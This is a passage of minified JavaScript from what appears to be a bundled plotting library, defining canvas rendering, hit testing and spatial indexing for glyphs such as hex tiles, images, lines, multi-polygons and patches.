t,e=this.model.size,i=Math.sqrt(3)*e/2;\\\"flattop\\\"==this.model.orientation?(i=(t=[e,i])[0],e=t[1],e*=this.model.aspect_scale):i/=this.model.aspect_scale;for(var n=[],r=0;r<this._x.length;r++){var o=this._x[r],s=this._y[r];!isNaN(o+s)&&isFinite(o+s)&&n.push({minX:o-i,minY:s-e,maxX:o+i,maxY:s+e,i:r})}return new a.SpatialIndex(n)},e.prototype.map_data=function(){var t,e;t=this.map_to_screen(this._x,this._y),this.sx=t[0],this.sy=t[1],e=this._get_unscaled_vertices(),this.svx=e[0],this.svy=e[1]},e.prototype._get_unscaled_vertices=function(){var t=this.model.size,e=this.model.aspect_scale;if(\\\"pointytop\\\"==this.model.orientation){var i=this.renderer.yscale,n=this.renderer.xscale,r=Math.abs(i.compute(0)-i.compute(t)),o=Math.sqrt(3)/2*Math.abs(n.compute(0)-n.compute(t))/e,s=r/2,a=[0,-o,-o,0,o,o],l=[r,s,-s,-r,-s,s];return[a,l]}var i=this.renderer.xscale,n=this.renderer.yscale,r=Math.abs(i.compute(0)-i.compute(t)),o=Math.sqrt(3)/2*Math.abs(n.compute(0)-n.compute(t))*e,s=r/2,a=[r,s,-s,-r,-s,s],l=[0,-o,-o,0,o,o];return[a,l]},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.svx,s=i.svy,a=i._scale,l=0,h=e;l<h.length;l++){var u=h[l];if(!isNaN(n[u]+r[u]+a[u])){t.translate(n[u],r[u]),t.beginPath();for(var c=0;c<6;c++)t.lineTo(o[c]*a[u],s[c]*a[u]);t.closePath(),t.translate(-n[u],-r[u]),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,u),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,u),t.stroke())}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=[],a=0,l=o;a<l.length;a++){var h=l[a];f.point_in_poly(e-this.sx[h],i-this.sy[h],this.svx,this.svy)&&s.push(h)}var u=f.create_empty_hit_test_result();return u.indices=s,u},e.prototype._hit_span=function(t){var e,i=t.sx,n=t.sy;if(\\\"v\\\"==t.direction){var r=this.renderer.yscale.invert(n),o=this.renderer.plot_view.frame.bbox.h_range,s=this.renderer.xscale.r_invert(o.start,o.end),a=s[0],l=s[1];e=this.index.indices({minX:a,minY:r,maxX:l,maxY:r})}else{var h=this.renderer.xscale.invert(i),u=this.renderer.plot_view.frame.bbox.v_range,c=this.renderer.yscale.r_invert(u.start,u.end),_=c[0],p=c[1];e=this.index.indices({minX:h,minY:_,maxX:h,maxY:p})}var d=f.create_empty_hit_test_result();return d.indices=e,d},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=f.validate_bbox_coords([s,a],[h,u]),_=f.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype.draw_legend_for_index=function(t,e,i){s.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.HexTileView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"HexTile\\\",this.prototype.default_view=l,this.coords([[\\\"r\\\",\\\"q\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({size:[o.Number,1],aspect_scale:[o.Number,1],scale:[o.NumberSpec,1],orientation:[o.String,\\\"pointytop\\\"]}),this.override({line_color:null})},t}(r.Glyph);(i.HexTile=h).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(167),s=t(15),c=t(21),l=t(37),_=t(9),a=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.color_mapper.change,function(){return e._update_image()}),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._update_image=function(){null!=this.image_data&&(this._set_data(),this.renderer.plot_view.request_render())},t.prototype._index_data=function(){for(var t=[],e=0,i=this._x.length;e<i;e++){var n=this._lrtb(e),r=n[0],o=n[1],s=n[2],a=n[3];!isNaN(r+o+s+a)&&isFinite(r+o+s+a)&&t.push({minX:r,minY:a,maxX:o,maxY:s,i:e})}return new l.SpatialIndex(t)},t.prototype._lrtb=function(t){var e=this.renderer.xscale.source_range,i=this._x[t],n=e.is_reversed?i-this._dw[t]:i+this._dw[t],r=this.renderer.yscale.source_range,o=this._y[t],s=r.is_reversed?o-this._dh[t]:o+this._dh[t],a=i<n?[i,n]:[n,i],l=a[0],h=a[1],u=o<s?[o,s]:[s,o],c=u[0],_=u[1];return[l,h,_,c]},t.prototype._image_index=function(t,e,i){var n=this._lrtb(t),r=n[0],o=n[1],s=n[2],a=n[3],l=this._width[t],h=this._height[t],u=(o-r)/l,c=(s-a)/h,_=Math.floor((e-r)/u),p=Math.floor((i-a)/c);return{index:t,dim1:_,dim2:p,flat_index:p*l+_}},t.prototype._hit_point=function(t){var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=_.validate_bbox_coords([n,n],[r,r]),s=this.index.indices(o),a=_.create_empty_hit_test_result();a.image_indices=[];for(var l=0,h=s;l<h.length;l++){var u=h[l];e!=1/0&&i!=1/0&&a.image_indices.push(this._image_index(u,n,r))}return a},t.prototype._set_data=function(){null!=this.image_data&&this.image_data.length==this._image.length||(this.image_data=new Array(this._image.length)),null!=this._width&&this._width.length==this._image.length||(this._width=new Array(this._image.length)),null!=this._height&&this._height.length==this._image.length||(this._height=new Array(this._image.length));for(var t=this.model.color_mapper.rgba_mapper,e=0,i=this._image.length;e<i;e++){var n=void 0;if(null!=this._image_shape&&0<this._image_shape[e].length){n=this._image[e];var r=this._image_shape[e];this._height[e]=r[0],this._width[e]=r[1]}else{var o=this._image[e];n=c.concat(o),this._height[e]=o.length,this._width[e]=o[0].length}var s=this.image_data[e],a=void 0;null!=s&&s.width==this._width[e]&&s.height==this._height[e]?a=s:((a=document.createElement(\\\"canvas\\\")).width=this._width[e],a.height=this._height[e]);var l=a.getContext(\\\"2d\\\"),h=l.getImageData(0,0,this._width[e],this._height[e]),u=t.v_compute(n);h.data.set(u),l.putImageData(h,0,0),this.image_data[e]=a,this.max_dw=0,\\\"data\\\"==this.model.properties.dw.units&&(this.max_dw=c.max(this._dw)),this.max_dh=0,\\\"data\\\"==this.model.properties.dh.units&&(this.max_dh=c.max(this._dh))}},t.prototype._map_data=function(){switch(this.model.properties.dw.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,this._dw,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=this._dw}switch(this.model.properties.dh.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,this._dh,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=this._dh}},t.prototype._render=function(t,e,i){var n=i.image_data,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=t.getImageSmoothingEnabled();t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.global_alpha;for(var h=0,u=e;h<u.length;h++){var c=u[h];if(null!=n[c]&&!isNaN(r[c]+o[c]+s[c]+a[c])){var _=o[c];t.translate(0,_),t.scale(1,-1),t.translate(0,-_),t.drawImage(n[c],0|r[c],0|o[c],s[c],a[c]),t.translate(0,_),t.scale(1,-1),t.translate(0,-_)}}t.setImageSmoothingEnabled(l)},t.prototype.bounds=function(){var t=this.index.bbox;return t.maxX+=this.max_dw,t.maxY+=this.max_dh,t},t}(r.XYGlyphView);i.ImageView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Image\\\",this.prototype.default_view=a,this.define({image:[s.NumberSpec],dw:[s.DistanceSpec],dh:[s.DistanceSpec],dilate:[s.Bool,!1],global_alpha:[s.Number,1],color_mapper:[s.Instance,function(){return new o.LinearColorMapper({palette:[\\\"#000000\\\",\\\"#252525\\\",\\\"#525252\\\",\\\"#737373\\\",\\\"#969696\\\",\\\"#bdbdbd\\\",\\\"#d9d9d9\\\",\\\"#f0f0f0\\\",\\\"#ffffff\\\"]})}]})},t}(r.XYGlyph);(i.Image=h).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(15),f=t(21),s=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._set_data=function(t){null!=this.image_data&&this.image_data.length==this._image.length||(this.image_data=new Array(this._image.length)),null!=this._width&&this._width.length==this._image.length||(this._width=new Array(this._image.length)),null!=this._height&&this._height.length==this._image.length||(this._height=new Array(this._image.length));for(var e=0,i=this._image.length;e<i;e++)if(!(null!=t&&t.indexOf(e)<0)){var n=void 0;if(null!=this._image_shape&&0<this._image_shape[e].length){n=this._image[e].buffer;var r=this._image_shape[e];this._height[e]=r[0],this._width[e]=r[1]}else{var o=this._image[e],s=f.concat(o);n=new ArrayBuffer(4*s.length);for(var a=new Uint32Array(n),l=0,h=s.length;l<h;l++)a[l]=s[l];this._height[e]=o.length,this._width[e]=o[0].length}var u=this.image_data[e],c=void 0;null!=u&&u.width==this._width[e]&&u.height==this._height[e]?c=u:((c=document.createElement(\\\"canvas\\\")).width=this._width[e],c.height=this._height[e]);var _=c.getContext(\\\"2d\\\"),p=_.getImageData(0,0,this._width[e],this._height[e]),d=new Uint8Array(n);p.data.set(d),_.putImageData(p,0,0),this.image_data[e]=c,this.max_dw=0,\\\"data\\\"==this.model.properties.dw.units&&(this.max_dw=f.max(this._dw)),this.max_dh=0,\\\"data\\\"==this.model.properties.dh.units&&(this.max_dh=f.max(this._dh))}},t.prototype._map_data=function(){switch(this.model.properties.dw.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,this._dw,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=this._dw}switch(this.model.properties.dh.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,this._dh,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=this._dh}},t.prototype._render=function(t,e,i){var n=i.image_data,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=t.getImageSmoothingEnabled();t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.global_alpha;for(var h=0,u=e;h<u.length;h++){var c=u[h];if(!isNaN(r[c]+o[c]+s[c]+a[c])){var _=o[c];t.translate(0,_),t.scale(1,-1),t.translate(0,-_),t.drawImage(n[c],0|r[c],0|o[c],s[c],a[c]),t.translate(0,_),t.scale(1,-1),t.translate(0,-_)}}t.setImageSmoothingEnabled(l)},t.prototype.bounds=function(){var t=this.index.bbox;return t.maxX+=this.max_dw,t.maxY+=this.max_dh,t},t}(r.XYGlyphView);i.ImageRGBAView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ImageRGBA\\\",this.prototype.default_view=s,this.define({image:[o.NumberSpec],dw:[o.DistanceSpec],dh:[o.DistanceSpec],global_alpha:[o.Number,1],dilate:[o.Bool,!1]})},t}(r.XYGlyph);(i.ImageRGBA=a).initClass()},function(t,e,m){var n=t(391),i=t(146),g=t(14),r=t(15),y=t(22),o=t(37);m.CanvasImage=Image;var s=function(i){function t(){var t=null!==i&&i.apply(this,arguments)||this;return t._images_rendered=!1,t}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._index_data=function(){return new o.SpatialIndex([])},t.prototype._set_data=function(){var n=this;null!=this.image&&this.image.length==this._url.length||(this.image=y.map(this._url,function(){return null}));var t=this.model,r=t.retry_attempts,o=t.retry_timeout;this.retries=y.map(this._url,function(){return r});for(var e=function(t,e){if(null==s._url[t])return\\\"continue\\\";var i=new m.CanvasImage;i.onerror=function(){0<n.retries[t]?(g.logger.trace(\\\"ImageURL failed to load \\\"+n._url[t]+\\\" image, retrying in \\\"+o+\\\" ms\\\"),setTimeout(function(){return i.src=n._url[t]},o)):g.logger.warn(\\\"ImageURL unable to load \\\"+n._url[t]+\\\" image after \\\"+r+\\\" retries\\\"),n.retries[t]-=1},i.onload=function(){n.image[t]=i,n.renderer.request_render()},i.src=s._url[t]},s=this,i=0,a=this._url.length;i<a;i++)e(i,a);for(var l=\\\"data\\\"==this.model.properties.w.units,h=\\\"data\\\"==this.model.properties.h.units,u=this._x.length,c=new Array(l?2*u:u),_=new Array(h?2*u:u),i=0;i<u;i++)c[i]=this._x[i],_[i]=this._y[i];if(l)for(var i=0;i<u;i++)c[u+i]=this._x[i]+this._w[i];if(h)for(var i=0;i<u;i++)_[u+i]=this._y[i]+this._h[i];var p=y.min(c),d=y.max(c),f=y.min(_),v=y.max(_);this._bounds_rect={minX:p,maxX:d,minY:f,maxY:v}},t.prototype.has_finished=function(){return i.prototype.has_finished.call(this)&&1==this._images_rendered},t.prototype._map_data=function(){var t=null!=this.model.w?this._w:y.map(this._x,function(){return NaN}),e=null!=this.model.h?this._h:y.map(this._x,function(){return NaN});switch(this.model.properties.w.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,t,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=t}switch(this.model.properties.h.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,e,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=e}},t.prototype._render=function(t,e,i){var n=i.image,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=i._angle,h=this.renderer.plot_view.frame;t.rect(h._left.value+1,h._top.value+1,h._width.value-2,h._height.value-2),t.clip();for(var u=!0,c=0,_=e;c<_.length;c++){var p=_[c];if(!isNaN(r[p]+o[p]+l[p])&&-1!=this.retries[p]){var d=n[p];null!=d?this._render_image(t,p,d,r,o,s,a,l):u=!1}}u&&!this._images_rendered&&(this._images_rendered=!0,this.notify_finished())},t.prototype._final_sx_sy=function(t,e,i,n,r){switch(t){case\\\"top_left\\\":return[e,i];case\\\"top_center\\\":return[e-n/2,i];case\\\"top_right\\\":return[e-n,i];case\\\"center_right\\\":return[e-n,i-r/2];case\\\"bottom_right\\\":return[e-n,i-r];case\\\"bottom_center\\\":return[e-n/2,i-r];case\\\"bottom_left\\\":return[e,i-r];case\\\"center_left\\\":return[e,i-r/2];case\\\"center\\\":return[e-n/2,i-r/2]}},t.prototype._render_image=function(t,e,i,n,r,o,s,a){isNaN(o[e])&&(o[e]=i.width),isNaN(s[e])&&(s[e]=i.height);var l=this.model.anchor,h=this._final_sx_sy(l,n[e],r[e],o[e],s[e]),u=h[0],c=h[1];t.save(),t.globalAlpha=this.model.global_alpha,a[e]?(t.translate(u,c),t.rotate(a[e]),t.drawImage(i,0,0,o[e],s[e]),t.rotate(-a[e]),t.translate(-u,-c)):t.drawImage(i,u,c,o[e],s[e]),t.restore()},t.prototype.bounds=function(){return this._bounds_rect},t}(i.XYGlyphView);m.ImageURLView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ImageURL\\\",this.prototype.default_view=s,this.define({url:[r.StringSpec],anchor:[r.Anchor,\\\"top_left\\\"],global_alpha:[r.Number,1],angle:[r.AngleSpec,0],w:[r.DistanceSpec],h:[r.DistanceSpec],dilate:[r.Bool,!1],retry_attempts:[r.Number,0],retry_timeout:[r.Number,0]})},t}(i.XYGlyph);(m.ImageURL=a).initClass()},function(t,e,i){var n=t(114);i.AnnularWedge=n.AnnularWedge;var r=t(115);i.Annulus=r.Annulus;var o=t(116);i.Arc=o.Arc;var s=t(117);i.Bezier=s.Bezier;var a=t(120);i.Circle=a.Circle;var l=t(119);i.CenterRotatable=l.CenterRotatable;var h=t(121);i.Ellipse=h.Ellipse;var u=t(122);i.EllipseOval=u.EllipseOval;var c=t(123);i.Glyph=c.Glyph;var _=t(124);i.HBar=_.HBar;var p=t(125);i.HexTile=p.HexTile;var d=t(126);i.Image=d.Image;var f=t(127);i.ImageRGBA=f.ImageRGBA;var v=t(128);i.ImageURL=v.ImageURL;var m=t(130);i.Line=m.Line;var g=t(131);i.MultiLine=g.MultiLine;var y=t(132);i.MultiPolygons=y.MultiPolygons;var b=t(133);i.Oval=b.Oval;var x=t(134);i.Patch=x.Patch;var w=t(135);i.Patches=w.Patches;var k=t(136);i.Quad=k.Quad;var S=t(137);i.Quadratic=S.Quadratic;var C=t(138);i.Ray=C.Ray;var T=t(139);i.Rect=T.Rect;var A=t(140);i.Segment=A.Segment;var E=t(141);i.Step=E.Step;var M=t(142);i.Text=M.Text;var O=t(144);i.VBar=O.VBar;var z=t(145);i.Wedge=z.Wedge;var P=t(146);i.XYGlyph=P.XYGlyph},function(t,e,i){var n=t(391),r=t(146),a=t(143),c=t(9),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=!1,s=null;this.visuals.line.set_value(t);for(var a=0,l=e;a<l.length;a++){var h=l[a];if(o){if(!isFinite(n[h]+r[h])){t.stroke(),t.beginPath(),o=!1,s=h;continue}null!=s&&1<h-s&&(t.stroke(),o=!1)}o?t.lineTo(n[h],r[h]):(t.beginPath(),t.moveTo(n[h],r[h]),o=!0),s=h}o&&t.stroke()},e.prototype._hit_point=function(t){for(var e=this,i=c.create_empty_hit_test_result(),n={x:t.sx,y:t.sy},r=9999,o=Math.max(2,this.visuals.line.line_width.value()/2),s=0,a=this.sx.length-1;s<a;s++){var l={x:this.sx[s],y:this.sy[s]},h={x:this.sx[s+1],y:this.sy[s+1]},u=c.dist_to_segment(n,l,h);u<o&&u<r&&(r=u,i.add_to_selected_glyphs(this.model),i.get_view=function(){return e},i.line_indices=[s])}return i},e.prototype._hit_span=function(t){var e,i,n=this,r=t.sx,o=t.sy,s=c.create_empty_hit_test_result();\\\"v\\\"==t.direction?(e=this.renderer.yscale.invert(o),i=this._y):(e=this.renderer.xscale.invert(r),i=this._x);for(var a=0,l=i.length-1;a<l;a++)(i[a]<=e&&e<=i[a+1]||i[a+1]<=e&&e<=i[a])&&(s.add_to_selected_glyphs(this.model),s.get_view=function(){return n},s.line_indices.push(a));return s},e.prototype.get_interpolation_hit=function(t,e){var i=[this._x[t],this._y[t],this._x[t+1],this._y[t+1]],n=i[0],r=i[1],o=i[2],s=i[3];return a.line_interpolation(this.renderer,e,n,r,o,s)},e.prototype.draw_legend_for_index=function(t,e,i){a.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.LineView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Line\\\",this.prototype.default_view=o,this.mixins([\\\"line\\\"])},t}(r.XYGlyph);(i.Line=s).initClass()},function(t,e,i){var n=t(391),m=t(37),d=t(9),f=t(32),g=t(21),y=t(44),r=t(123),l=t(143),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)if(null!=this._xs[e]&&0!==this._xs[e].length){for(var n=this._xs[e],r=[],o=0,s=n.length;o<s;o++){var a=n[o];y.isStrictNaN(a)||r.push(a)}for(var l=this._ys[e],h=[],o=0,s=l.length;o<s;o++){var u=l[o];y.isStrictNaN(u)||h.push(u)}var c=[g.min(r),g.max(r)],_=c[0],p=c[1],d=[g.min(h),g.max(h)],f=d[0],v=d[1];t.push({minX:_,minY:f,maxX:p,maxY:v,i:e})}return new m.SpatialIndex(t)},e.prototype._render=function(t,e,i){for(var n=i.sxs,r=i.sys,o=0,s=e;o<s.length;o++){var a=s[o],l=[n[a],r[a]],h=l[0],u=l[1];this.visuals.line.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c])||isNaN(u[c])?(t.stroke(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.stroke()}},e.prototype._hit_point=function(t){for(var e=d.create_empty_hit_test_result(),i={x:t.sx,y:t.sy},n=9999,r={},o=0,s=this.sxs.length;o<s;o++){for(var a=Math.max(2,this.visuals.line.cache_select(\\\"line_width\\\",o)/2),l=null,h=0,u=this.sxs[o].length-1;h<u;h++){var c={x:this.sxs[o][h],y:this.sys[o][h]},_={x:this.sxs[o][h+1],y:this.sys[o][h+1]},p=d.dist_to_segment(i,c,_);p<a&&p<n&&(n=p,l=[h])}l&&(r[o]=l)}return e.indices=f.keys(r).map(function(t){return parseInt(t,10)}),e.multiline_indices=r,e},e.prototype._hit_span=function(t){var e,i,n=t.sx,r=t.sy,o=d.create_empty_hit_test_result();\\\"v\\\"===t.direction?(e=this.renderer.yscale.invert(r),i=this._ys):(e=this.renderer.xscale.invert(n),i=this._xs);for(var s={},a=0,l=i.length;a<l;a++){for(var h=[],u=0,c=i[a].length-1;u<c;u++)i[a][u]<=e&&e<=i[a][u+1]&&h.push(u);0<h.length&&(s[a]=h)}return o.indices=f.keys(s).map(function(t){return parseInt(t,10)}),o.multiline_indices=s,o},e.prototype.get_interpolation_hit=function(t,e,i){var n=[this._xs[t][e],this._ys[t][e],this._xs[t][e+1],this._ys[t][e+1]],r=n[0],o=n[1],s=n[2],a=n[3];return l.line_interpolation(this.renderer,i,r,o,s,a)},e.prototype.draw_legend_for_index=function(t,e,i){l.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.MultiLineView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiLine\\\",this.prototype.default_view=o,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.MultiLine=s).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143),u=t(21),s=t(22),x=t(9),m=t(44),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)for(var n=0,r=this._xs[e].length;n<r;n++){var o=this._xs[e][n][0],s=this._ys[e][n][0];0!=o.length&&t.push({minX:u.min(o),minY:u.min(s),maxX:u.max(o),maxY:u.max(s),i:e})}return this.hole_index=this._index_hole_data(),new h.SpatialIndex(t)},e.prototype._index_hole_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)for(var n=0,r=this._xs[e].length;n<r;n++)if(1<this._xs[e][n].length)for(var o=1,s=this._xs[e][n].length;o<s;o++){var a=this._xs[e][n][o],l=this._ys[e][n][o];0!=a.length&&t.push({minX:u.min(a),minY:u.min(l),maxX:u.max(a),maxY:u.max(l),i:e})}return new h.SpatialIndex(t)},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.x_ranges.default,e=[t.min,t.max],i=e[0],n=e[1],r=this.renderer.plot_view.frame.y_ranges.default,o=[r.min,r.max],s=o[0],a=o[1],l=x.validate_bbox_coords([i,n],[s,a]),h=this.index.indices(l);return h.sort(function(t,e){return t-e}).filter(function(t,e,i){return 0===e||t!==i[e-1]})},e.prototype._render=function(t,e,i){var n=i.sxs,r=i.sys;if(this.visuals.fill.doit||this.visuals.line.doit)for(var o=0,s=e;o<s.length;o++){var a=s[o];t.beginPath();for(var l=0,h=n[a].length;l<h;l++)for(var u=0,c=n[a][l].length;u<c;u++){for(var _=n[a][l][u],p=r[a][l][u],d=0,f=_.length;d<f;d++)0!=d?t.lineTo(_[d],p[d]):t.moveTo(_[d],p[d]);t.closePath()}this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,a),t.fill(\\\"evenodd\\\")),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,a),t.stroke())}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=this.hole_index.indices({minX:n,minY:r,maxX:n,maxY:r}),a=[],l=0,h=o.length;l<h;l++)for(var u=o[l],c=this.sxs[u],_=this.sys[u],p=0,d=c.length;p<d;p++){var f=c[p].length;if(x.point_in_poly(e,i,c[p][0],_[p][0]))if(1==f)a.push(u);else if(-1==s.indexOf(u))a.push(u);else if(1<f){for(var v=!1,m=1;m<f;m++){var g=c[p][m],y=_[p][m];if(x.point_in_poly(e,i,g,y)){v=!0;break}}v||a.push(u)}}var b=x.create_empty_hit_test_result();return b.indices=a,b},e.prototype._get_snap_coord=function(t){return s.sum(t)/t.length},e.prototype.scenterx=function(t,e,i){if(1==this.sxs[t].length)return this._get_snap_coord(this.sxs[t][0][0]);for(var n=this.sxs[t],r=this.sys[t],o=0,s=n.length;o<s;o++)if(x.point_in_poly(e,i,n[o][0],r[o][0]))return this._get_snap_coord(n[o][0]);throw new Error(\\\"unreachable code\\\")},e.prototype.scentery=function(t,e,i){if(1==this.sys[t].length)return this._get_snap_coord(this.sys[t][0][0]);for(var n=this.sxs[t],r=this.sys[t],o=0,s=n.length;o<s;o++)if(x.point_in_poly(e,i,n[o][0],r[o][0]))return this._get_snap_coord(r[o][0]);throw new Error(\\\"unreachable code\\\")},e.prototype.map_data=function(){for(var t=this,e=0,i=this.model._coords;e<i.length;e++){var n=i[e],r=n[0],o=n[1],s=\\\"s\\\"+r,a=\\\"s\\\"+o;if(o=\\\"_\\\"+o,null!=t[r=\\\"_\\\"+r]&&(m.isArray(t[r][0])||m.isTypedArray(t[r][0]))){var l=t[r].length;t[s]=new Array(l),t[a]=new Array(l);for(var h=0;h<l;h++){var u=t[r][h].length;t[s][h]=new Array(u),t[a][h]=new Array(u);for(var c=0;c<u;c++){var _=t[r][h][c].length;t[s][h][c]=new Array(_),t[a][h][c]=new Array(_);for(var p=0;p<_;p++){var d=this.map_to_screen(t[r][h][c][p],t[o][h][c][p]),f=d[0],v=d[1];t[s][h][c][p]=f,t[a][h][c][p]=v}}}}}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.MultiPolygonsView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiPolygons\\\",this.prototype.default_view=a,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.MultiPolygons=l).initClass()},function(t,e,i){var n=t(391),r=t(122),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){var t,e=this._x.length;this.sw=new Float64Array(e),t=\\\"data\\\"==this.model.properties.width.units?this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"):this._width;for(var i=0;i<e;i++)this.sw[i]=.75*t[i];\\\"data\\\"==this.model.properties.height.units?this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"):this.sh=this._height},e}(r.EllipseOvalView);i.OvalView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Oval\\\",this.prototype.default_view=o},t}(r.EllipseOval);(i.Oval=s).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy;if(this.visuals.fill.doit){this.visuals.fill.set_value(t);for(var o=0,s=e;o<s.length;o++){var a=s[o];0!=a?isNaN(n[a]+r[a])?(t.closePath(),t.fill(),t.beginPath()):t.lineTo(n[a],r[a]):(t.beginPath(),t.moveTo(n[a],r[a]))}t.closePath(),t.fill()}if(this.visuals.line.doit){this.visuals.line.set_value(t);for(var l=0,h=e;l<h.length;l++){var a=h[l];0!=a?isNaN(n[a]+r[a])?(t.closePath(),t.stroke(),t.beginPath()):t.lineTo(n[a],r[a]):(t.beginPath(),t.moveTo(n[a],r[a]))}return t.closePath(),t.stroke()}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.PatchView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Patch\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.XYGlyph);(i.Patch=a).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143),u=t(21),s=t(22),l=t(44),f=t(9),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._build_discontinuous_object=function(t){for(var e=[],i=0,n=t.length;i<n;i++){e[i]=[];for(var r=u.copy(t[i]);0<r.length;){var o=u.findLastIndex(r,function(t){return l.isStrictNaN(t)}),s=void 0;0<=o?s=r.splice(o):(s=r,r=[]);var a=s.filter(function(t){return!l.isStrictNaN(t)});e[i].push(a)}}return e},e.prototype._index_data=function(){for(var t=this._build_discontinuous_object(this._xs),e=this._build_discontinuous_object(this._ys),i=[],n=0,r=this._xs.length;n<r;n++)for(var o=0,s=t[n].length;o<s;o++){var 